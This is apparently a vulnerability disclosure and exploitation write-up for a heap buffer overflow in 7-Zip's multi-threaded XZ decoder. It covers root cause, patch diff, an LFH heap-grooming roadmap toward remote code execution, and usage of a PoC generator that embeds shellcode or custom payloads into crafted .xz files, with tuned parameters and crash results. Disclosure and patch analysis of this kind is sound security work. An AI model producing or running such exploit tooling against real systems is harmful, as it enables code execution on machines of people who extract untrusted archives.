
7-Zip XZ Decoder Heap Buffer Overflow - Full analysis, root cause, PoC, and RCE exploitation roadmap
Critical Severity | CVSS: 8.8 (High) | CWE-122: Heap-based Buffer Overflow
Affected: 7-Zip ≤ 26.01 | Patched: 7-Zip 26.02 (2026-06-25)
Discovered & Analyzed by: Li Yuxuan (liyuxuan504-byte) and team
A heap buffer overflow exists in the multi-threaded XZ decoder path of 7-Zip versions ≤ 26.01. A maliciously crafted .xz archive can trigger an out-of-bounds write past the heap-allocated output buffer, leading to:
STATUS_ACCESS_VIOLATION (0xC0000005)The vulnerability resides in MixCoder_Code() in C/XzDec.c, where the SingleBuf (outBuf) branch passes an unchecked destLen2 to the LZMA2 decoder without clamping it against the remaining buffer capacity (outBufSize - outWritten).
Any system or application that uses a vulnerable 7-Zip (or 7z.dll) to extract untrusted .xz files is at risk — the multi-threaded path is enabled by default on multi-core systems.
XZ Stream → XzUnpacker_Code (XZ_STATE_BLOCK)
→ MixCoder_Code(outBuf branch, p->outBuf != NULL)
→ destLen2 = destLenOrig // ← NO boundary clamp
→ Lzma2State_Code2(..., &destLen2)
→ dicLimit = dicPos + destLen2 // ← can exceed dicBufSize
→ Lzma2Dec_DecodeToDic(...)
→ LZMA2 copy-chunk loop: memcpy(dic + dicPos, src, size)
→ dicPos exceeds dicBufSize → HEAP OVERFLOW
Vulnerable (26.01) — C/XzDec.c ~L606:
if (p->outBuf) {
SizeT destLen2, srcLen2;
srcLen2 = srcLenOrig;
destLen2 = destLenOrig; // ← raw value, no clamping!
{
IStateCoder *coder = &p->coders[0];
res = coder->Code2(coder->p, NULL, &destLen2, src, &srcLen2,
srcWasFinished, finishMode, &p->status);
}
p->outWritten += destLen2; // ← tracks total but never checks
}
Fixed (26.02) — C/XzDec.c ~L605:
if (p->outBuf) {
SizeT destLen2;
destLen2 = destLenOrig;
if (p->numCoders != 1) { // ★ NEW boundary check
if (destLen2 < p->outWritten)
return SZ_ERROR_FAIL; // data inconsistency → abort
destLen2 -= p->outWritten; // clamp to remaining capacity!
}
*srcLen = srcLenOrig;
{
IStateCoder *coder = &p->coders[0];
res = coder->Code2(coder->p, NULL, &destLen2, src, srcLen,
srcWasFinished, finishMode, &p->status);
}
p->outWritten += destLen2;
}
The fix is 3 lines. It subtracts p->outWritten (bytes already written to this outBuf) from destLen2 before passing it to the LZMA2 decoder, ensuring the decoder can never write beyond the allocated buffer.
In the single-threaded path, XzUnpacker_Code applies its own unpackSize-based rem clamp before calling MixCoder_Code. This clamp correctly limits output. The multi-threaded SingleBuf path bypasses this clamp because it passes destLenOrig straight through — the upstream clamp is ineffective when destLen is pre-set to the full remaining input size rather than the actual buffer remaining capacity.
The outBuf is allocated on the CRT heap via ISzAlloc_Alloc(allocMid, unpackSize):
unpackSize | Allocator | Exploitability |
|---|---|---|
| ≤ 16 KB | LFH (Low Fragmentation Heap) | ★ Best for RCE — adjacent objects in same bucket |
| 16–64 KB | Segment Heap (Backend) | Possible — free-list corruption |
| ≥ 64 KB | VirtualAlloc (page-aligned) | DoS only — guard page traps overflow |
The most promising exploitation approach:
unpackSize (256–16384 bytes) to trigger LFH allocationnext pointer → achieves arbitrary-alloc primitive| Capability | Status |
|---|---|
| DoS (crash) | ✅ Confirmed, reliable on 7-Zip 26.00 x64 |
| Silent heap overflow (LFH) | ✅ Confirmed — writes past buffer, exit code 2, no crash |
| Controlled payload delivery | ✅ Fully controllable via LZMA2 copy-chunk data |
| Heap layout primitives | ✅ Concept proven — requires target-specific layout tuning |
| Full RCE chain | ❌ In progress — needs heap layout analysis on target |
Conventional debuggers (x64dbg, WinDbg) alter process creation behavior. Under a debugger, 7z.dll may never load the multi-threaded XZ path — the process silently falls back to single-threaded mode where the vulnerability does not trigger. The approach required:
tools/)poc/poc-cve-2026-14266-rce.py is a full-featured XZ exploit generator:
# Crash confirmation (DoS):
python poc/poc-cve-2026-14266-rce.py -o crash.xz
# Offset discovery (cyclic pattern):
python poc/poc-cve-2026-14266-rce.py \
--unpack-size 4096 --overflow 16384 --chunk-size 97 \
--payload-cyclic -o find-offset.xz
# Shellcode payload:
python poc/poc-cve-2026-14266-rce.py \
--unpack-size 4096 --overflow 16384 --chunk-size 97 \
--payload-shellcode -o exploit.xz
# Custom binary payload:
python poc/poc-cve-2026-14266-rce.py \
--payload-file shellcode.bin --unpack-size 512 --overflow 8192 -o custom.xz
| Parameter | Description | Recommended |
|---|---|---|
--unpack-size | Block declared unpackSize (= outBuf allocation size) | 256–4096 for LFH RCE |
--overflow | Total bytes to write past outBuf | 4096–32768 |
--chunk-size | LZMA2 copy-chunk data size (1–65535) | Must NOT divide unpackSize evenly! Use prime (97) or --force-align-overflow |
--payload-cyclic | Cyclic pattern for offset discovery | Use first, then replace with real payload |
--payload-shellcode | Embed Win x64 WinExec("calc.exe") shellcode | ~276 bytes |
# Multi-threaded (vulnerable path):
7z.exe x poc.xz -so -mmt=2 > NUL
# Single-threaded (NOT vulnerable — for comparison):
7z.exe x poc.xz -so -mmt=1 > NUL
Tested on: Windows 11 Pro x64 (build 26200) + 7-Zip 26.00
unpackSize | chunk_size | Overflow | Result |
|---|---|---|---|
| 256 KB (0x40000) | 4096 (aligned) | ~32 KB | 0xC0000005 — Access Violation (guard page) |
| 256 KB | 3 (original DoS) | ~30 KB | 0xC0000005 — Access Violation |
| 256 KB | 4096 | ~32 KB | 0xC0000374 — Heap Corruption detected |
| 256 B | 97 | ~1 KB | Exit 2 — Silent overflow! |
| 4 KB | 97 | ~16 KB | Exit 2 — Silent overflow! |
| 16 KB | 97 | ~32 KB | Exit 2 — Silent overflow! |
Key insight: All LFH-range (≤16 KB) allocations produce silent overflows — payload data is written onto adjacent heap objects without an immediate crash. This is the prerequisite for RCE exploitation.
From a live x64dbg session (7-Zip 26.00, MT path):
Fault instruction: mov byte ptr [rcx], r11b
Fault address: msvcrt.dll + 0x7B1EE (memcpy inner byte-copy loop)
Fault VA (rcx): 0x12363C50002 = outBuf_base + 0x40002
(2 bytes past the 0x40000-byte outBuf)
Decoder struct (rbx = 0x12363B0BB00):
+0x28: outBuf base = 0x12363C10000
+0x30: outBuf capacity = 0x40000 (262144 = unpackSize)
+0x38: write cursor = 0x40000 (ALREADY FULL when overflow begins)